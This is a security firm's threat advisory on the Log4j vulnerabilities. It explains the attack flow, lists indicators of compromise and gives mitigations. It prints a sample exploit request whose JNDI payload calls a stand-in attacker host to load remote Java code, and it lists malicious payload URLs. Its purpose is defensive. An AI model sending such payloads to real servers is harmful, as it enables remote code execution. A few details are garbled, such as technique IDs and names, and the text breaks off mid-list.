Rewterz Threat Alert – Hancitor InfoStealer – Active IOCs
December 16, 2021Rewterz Threat Advisory – Multiple Adobe After Effect and Lightroom Vulnerabilities
December 17, 2021
Last Updated on 20/12/2021 at 03:00 pm
Summary:
Apache Log4j is a Java-based logging utility that is widely used in applications around the world. On December 9th, 2021, the working Proof of Concept for the RCE (Remote Code Execution) vulnerability in Apache Log4j 2 was released publicly. Within 2 hours, attackers began the exploitation of the vulnerability and widespread internet scanning began to find vulnerable assets and instances of log4j.
The attacker sends a specially crafted HTTP request to the servers running Apache Log4j 2 (vulnerable systems) and then instructs the system to download and execute malicious payloads. The affected versions of Log4j were between 2.0 to 2.14. The remediation provided by Apache was to upgrade from the affected versions to version 2.15 which contained the patch and relevant configuration setting to mitigate the vulnerability.
The CVE-2021-44228 was assigned to this RCE exploit. While this vulnerability was patched in versions 2.15.0-rc1 and 2.15.0-rc2, another vulnerability (CVE-2021-45046) was discovered impacting the fix. The new vulnerability can result in a Denial of Service (DOS) attack if a specially crafted packet is sent to the instance running the Log4j version 2.15. Apache has released another update “version 2.16.0” which provides the fix for both the mentioned vulnerabilities.
Affected Versions:
Apache Log4j versions lower than 2.16.0
Attacking Countries:
| Countries | Attacks |
| Netherlands | 34.62% |
| Germany | 23.08% |
| Russian Federation | 7.69% |
| France | 7.69% |
| US | 5.77% |
| Taiwan | 3.85% |
| Canada | 1.92% |
| Pakistan | 1.92% |
| Estonia | 1.92% |
| Saudi Arabia | 1.92% |
| Thailand | 1.92% |
| Greece | 1.92% |
| Hong Kong | 1.92% |
| Singapore | 1.92% |
| Luxembourg | 1.92% |
CVE-2021-44228:
Vulnerability Details:
A high severity vulnerability impacting multiple versions of Apache Log4j. The vulnerability allows for unauthenticated remote code execution. The attacker sends specially crafted HTTP requests to the servers running Apache Log4j 2. Normally the logging frameworks consider all the messages that they receive as text and handle them accordingly with basic formatting, however, Log4j 2.0 added the lookup to add values to the logs.
Multiple types of lookups were provided in Log4j 2.0 like “Context Map Lookup”, “Date Lookup”, “JVM Input Arguments Lookup (JMX)”, “web Lookup”, “JNDI Lookup”, etc. The Java Naming and Directory Interface (JNDI) is a Java API to access a variety of naming and directory services like LDAP, DNS, etc.
The JNDI lookups were not restricted to the local environment. An attacker sends a specially crafted HTTP request to trigger the JNDI lookup. When the lookup is triggered, the server running the Log4j will go over the internet to look up the request which will be the attacker server downloading the malicious code/payload.
Exploits and Proof of Concept (PoC):
Exploits and Proof of Concept were published online for the CVE-2021-44228 vulnerability. Environments with user input hosted on a Java application with unpatched and vulnerable versions of log4j 2.15.0 and lower run the risk of being attacked.
Attack Flow:
The attack has 2 phases. In the first phase, the attacker sends the specially crafted HTTP request to the server having the JNDI lookup to the attacker server. In the second phase, the malicious payload is downloaded from the attacker server to the victim.
Phase 1:
- Attackers send an HTTP request to the server containing the JNDI lookup in the HTTP Header.
GET /etc HTTP/1.1
Host: victim.com
User-Agent: ${jndi:ldap://evil-attacker.com/a}
- The server will log this request using the Log4j instance. When the logging file reads this request to create the log, it will find the JNDI lookup request.
“${jndi:ldap://evil-attacker.com/a}”
- The JNDI lookup will trigger the LDAP server to query the URL mentioned in the request.
- The LDAP server will look for the server “evil-attacker.com” over the internet as there is no restriction on the JNDI lookup to find only in the local environment. Once the LDAP server finds the query response, it will then send the response to the Log4j instance.
ldap://evil-attacker.com
- The response from the attacker server contains a path to the remote Java class file which is injected into a server process of the instance running Log4j.
dn:
JavaClassName: mal
JavaCodeBase: http://evil-attacker.com
JavaSerializedData: <…..>
Phase 2:
Once the LDAP result is sent back to the Log4j instance which contains the information about the path to the remote Java class which is injected in the server process of the instance running Log4j. The malicious remote Java class is then executed initiating the second phase of the attack, allowing remote attackers to execute the arbitrary code resulting in the compromise of the server and successful remote code execution.
public class mal implements Serializable {
……
static {
<Malicious Java code>
}
……
}
MITRE ATT&CK Mapping:
- Tactics: Initial Access (TA0001)
- Technique: Exploit Public-Facing Application (T1190)
- Tactics: Persistence (TA0003)
- Technique: Server Software Component (T1505)
- Sub-technique: Web Shell (T1501.003)
CVE-2021-45046 – Now Critical
Vulnerability Details:
Apache released an update (version 2.15) to fix the vulnerability (CVE-2021-44228) in Log4J versions between 2.0 to 2.14. The fix is incomplete and there exists a vulnerability that can result in a Denial of Service (DoS) attack on applications having version 2.15 of Apache Log4j. The CVE was first assigned a CVSS score of 3.7, however, the CVSS score has since been changed to 9.
To mitigate the vulnerability in CVE-2021-44228 in version 2.15, set the log4j2.formatMsgNoLookups or %m{nolookup} to true. This means that the messages will be processed without the lookup. However, the setting will only apply to content being logged in the call of function “logger.info()” and will not apply to lookup like CTX.
The attacker can create a crafted context lookup (CTX) or Threat Context Map Pattern lookup with the non-default pattern layout while logging the configuration. The attacker can create the lookup request for the CTX or Threat Context Map similar to the JNDI lookup pattern.
As the pattern log4j2.formatMsgNoLookups will not affect the CTX lookup it will invoke the relevant function for lookup and as the pattern is not the default it will enter the code will enter in an infinite loop resulting in the Denial of Service (DOS).
MITRE ATT&CK Mapping:
- Tactics: Impact (TA0040)
- Technique: Endpoint Denial of Service (T1499)
- Sub-technique: Application or System Exploitation (T1499.004)
CVE-2021-45105
An attacker could cause StackOverflowError using malicious input data that contains recursive lookup by having control over the MDC (Threat Context Map). This leads to a denial of service which is essentially caused by a failure to protect from uncontrolled recursion from self-referential lookups.
CVE-2021-4104
This vulnerability allows for Remote Code Execution on the system if an attacker has write access the log4j configuration. By the deserialization of untrusted data, the attacker can exploit this vulnerability, if the deployed application is configured to use JMSAppender.
Actively Present Scanning Hashes:
Source IP
- 1.179.247.182
- 1.116.59.211
- 20.205.104.227
- 45.130.229.168
- 45.155.205.233
- 45.83.193.150
- 45.83.64.1
- 45.83.66.134
- 45.83.65.227
- 45.83.65.49
- 61.19.25.207
- 68.183.207.73
- 78.31.71.248
- 82.102.18.110
- 85.93.218.204
- 92.63.197.53
- 96.8.117.213
- 101.204.24.28
- 101.33.228.224
- 101.35.154.34
- 103.103.0.141
- 103.103.0.142
- 103.232.136.60
- 104.248.144.120
- 104.161.20.173
- 107.151.148.53
- 107.170.69.93
- 107.77.226.83
- 108.61.210.108
- 109.237.96.124
- 109.73.65.32
- 110.42.200.96
- 111.28.189.51
- 111.59.85.209
- 112.74.185.158
- 113.219.171.101
- 112.74.34.48
- 113.141.64.14
- 114.112.161.155
- 113.98.224.68
- 115.151.229.14
- 115.151.229.16
- 115.151.228.235
- 115.151.229.27
- 115.151.228.64
- 115.151.228.83
- 117.192.11.154
- 118.27.36.56
- 120.211.140.116
- 120.195.30.152
- 120.24.23.84
- 121.4.56.143
- 123.60.215.208
- 124.224.87.11
- 124.224.87.29
- 131.100.148.7
- 133.18.201.195
- 134.122.34.12
- 134.209.24.42
- 134.122.33.6
- 134.209.82.14
- 135.125.217.87
- 138.197.106.234
- 138.197.202.163
- 138.197.175.206
- 138.197.167.229
- 138.68.249.132
- 138.68.246.18
- 139.59.103.254
- 140.246.171.141
- 142.93.18.229
- 143.198.183.66
- 147.182.215.36
- 164.92.254.33
- 167.71.13.196
- 167.99.221.217
- 185.224.139.151
- 185.236.200.118
- 193.3.19.159
- 194.163.163.20
- 195.251.41.139
- 195.54.160.149
- 213.152.161.239
MD5
- 35697fadc752d99409ccc4c7545d139f
- ceb9a55eaa71101f86b14c6b296066c9
- abfffbc733c72fb32b07b9cc227069c1
- e8adfebaff4958e707b9d841661c16b7
- 301b1b5e064b30e7a6c01e1d8edee754
SHA-1
- bd97f9eba8b7a879d775714ee1a4a815b73fd210
- e3eb1e98ca477918154b9ed7bcc2b7fe757c1020
- d952fd5cb44f2ae0063b378745623290d1537245
- 67547c98e1edbbc2f65002a72e036af0171e0d90
SHA-256
- 8ad160ddb9d617cf61ff0a7af0fa6d12ae26cf85a5d6e551c617f6c6bb770299
- 4c97321bcd291d2ca82c68b02cde465371083dace28502b7eb3a88558d7e190c
- 9691061f778674bb4e28fb6a2d88a2fe72711ae71f3d2f4137654e1b5e91c9d2
- 54fed4d05e21995a1359e2482d29cc429a7ce470a6f1a438e763852a27c8de37
- 181d8a50099570be6620065f48b121f652b656a538b5238d3545882587ae12dc
URL
- http://185.224.139.151:1389/Exploit
- http://172.105.241.146/wp-content/themes/twentysixteen/s.cmd
- http://68.183.165.105/.l/pty2
- http://68.183.165.105/.l/pty3
- http://68.183.165.105/.l/pty4
- http://68.183.165.105/.l/pty1
- http://159.89.182[.]117/wp-content/themes/twentyseventeen/ldm
- http://45.83.193.150:1389/Exploit
- http://193.3.19.159:53/c
- http://152.67.63.150/py
- http://78.31.71.248:8180/
Latest Attack Vectors, Ranomware, and Vulnerabilities:
Attacks Using WebSockets:
This attack vector allows RCE on local hosts and network servers. For this attack to work, the targets do not have to be exposed to the internet. With this attack vector, the attack surface is expanded even more so than before. WebSockets, unfortunately like Log4j, are very widely used and implemented in almost all the latest web browsers. WebSocket connections can start when a webpage is loaded and are used for two-way communication functions. Since WebSockets expect the webservers to validate their request’s origins and are not restricted by policies like cross-domain HTTP requests, they have their own sets of risks. Here’s how the attack works:
Step 1:
For this attack to work, the Log4j2 vulnerability has to be already installed on a watering-hole server. There an attacker will trigger the file path URL using a WebSocket connection.
Step 2:
As a local WebSocket connection is initiated even with a simple webpage load, the attack becomes deadly. After the connection is created, the attacker connects to the listening server, and then to an identified type of connection based on a JNDI (Java Naming and Directory Interface) connection string.
Step 3:
The attacker can finally drop the exploit string the connection path or parameters once the victim is connected to an open port to a service accessible by them or a local service.
Impact
- Remote Code Execution
- Ransomware
- Local Code Execution
- Denial of Service
State-sponsored APT (Advanced Persistent Threat) groups from China, Turkey, North Korea, and Iran have been actively attempting to exploit the vulnerability. Threat actors like Phosphorus (aka APT35 and Charming Kitten), Mirai Botnet, and Hafnium have also been active in the region.
Conti Ransomware group has also been seen active in the region using the vulnerability CVE-2021-44228. It is the first sophisticated crimeware ransomware group that has weaponized the logrj3 vulnerabilities. The group is using the log4j2 exploit for lateral movements in the targetted VMware vCenters.
TellYouThePass is also an old and once considered inactive ransomware family that has been revived due to the log4j fiasco.
“It is worth noting that this is not the first time that Tellyouthepass ransomware has used high-risk vulnerabilities to launch attacks,” Sangfor researchers said.
Affected Vendors
- Akamai
- Amazon
- Apache
- Atlassian
- Broadcom
- Cisco
- Dell
- Elastic
- Fortinet
- IBM
- Lenovo
- Microsoft
- Rapid7
- Red Hat
- Rockwell Automation
- Siemens
- Splunk
- TP-Link
- VMware
Affected Products
- SIEM Splunk Connector
- AWS
- Apache Druid
- Apache Flink
- Apache Log4j
- Apache Kafka
- Apache SOLR
- Bitbucket Server & Data Center
- Symantec Endpoint Protection Manager (SEPM)
- Cisco Webex Meetings Server
- Cisco CloudCenter Suite Admin
- Cisco Integrated Management Controller (IMC) Supervisor
- Cisco WAN Automation Engine (WAE)
- Cisco Unified Contact Center Enterprise
- Cisco Umbrella
- OpenManage Enterprise
- Elasticsearch
- Logstash
- FortiAIOps
- FortiEDR Cloud
- FortiSIEM
- FortiSOAR
- VMware Solutions
- VMware vSphere
- VMware vCenter Server
- vRealize Operations and Log Insight
- Internet Services
- NetApp ONTAP Tools for VMware vSphere
- XClarity Integrator (LXCI) for VMware vCenter
- ThinkAgile VX
- Azure DevOps Server
- InsightOps r7insight_java logging library
- log4j-core
- Industrial Data Center
- Warehouse Management
- Siemens Capital
- GMA-Manager
- Industrial Edge Management OS
- Mindsphere Cloud Application
- Solid Edge Wiring Harness Design
- Database Performance Analyzer (DPA)
- Data Stream Processor
- Splunk Enterprise
- Splunk Enterprise Amazon Machine Image (AMI)
- Stream Processor Service
- Omega Controller
- VMware Unified Access Gateway
- VMware Identity Manager
- VMware Carbon Black EDR Server
Remediation
CVE-2021-44228 Mitigation:
Permanent Mitigation:
Version 2.16.0 has been released without the vulnerability. Upgrade to Log4j Version 2.16.0.
- https://logging.apache.org/log4j/2.x/index.html
- https://logging.apache.org/log4j/2.x/download.html
- https://logging.apache.org/log4j/2.x/security.html
Temporary Mitigation:
If upgrading to version 2.16.0 is not possible at the moment, then the following workarounds can be done for mitigating the vulnerability:
As the lookups are done using the Java packages for JNDI API (com.sun.JNDI.ldap.object.trustURLCodebase) or by (InitialContext().lookup(“lookup address”)) by creating an instance using (org.apache.naming.factory.BeanFactory), we have to disable the lookups functionality for the remote serves to mitigate the vulnerability.
- For Log4j version >= 2.10, the vulnerability can be mitigated by setting either the system property “log4j2.formatMsgNoLookups” or environmental variable “LOG4J_FORMAT_MSG_NO_LOOKUPS” to “true” by adding -Dlog4j2.formatMsgNoLookups=True when starting the Java Virtual Machine.
- For Log4j version between 2.0 to 2.10 the vulnerability can be mitigated by removing the “Jndilookup” class from the class-path “zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”
CVE-2021-45046 Mitigation:
Permanent Mitigation:
Version 2.16.0 has been released without the vulnerability. Upgrade to Log4j Version 2.16.0.
- https://logging.apache.org/log4j/2.x/download.html
- https://logging.apache.org/log4j/2.x/security.html
Temporary Mitigation:
If upgrading to version 2.16.0 is not possible at the moment, then the following workarounds can be done for mitigating the vulnerability.
- Disable message lookup patterns in Log4J.
- Remove the JNDI class and disable all the lookup services.
CVE-2021-45105 Mitigation:
Upgrade to the latest version of Apache Log4j, available from the Apache Web site.
CVE-2021-4104 Mitigation:
Upgrade to the latest version of Log4j, available from the Apache Web site.
Here’s a repository containing all the affected and unaffected vendors and software that are affected by the log4j vulnerability along with their patches.
Against the WebSockets Attack Vector:
Like the Log4j exploits, the WebSocket attack vector is resilient and silent and therefore detection is fairly difficult. However, here are a few methods to detect and remediate the attacks in your environment:
- The researchers that released the attack recommend looking for “.*/java.exe” instances being as a parent process for “cmd.exe/powershell.exe.”
- The publicly available scanning scripts that help detect Log4j in local environments are: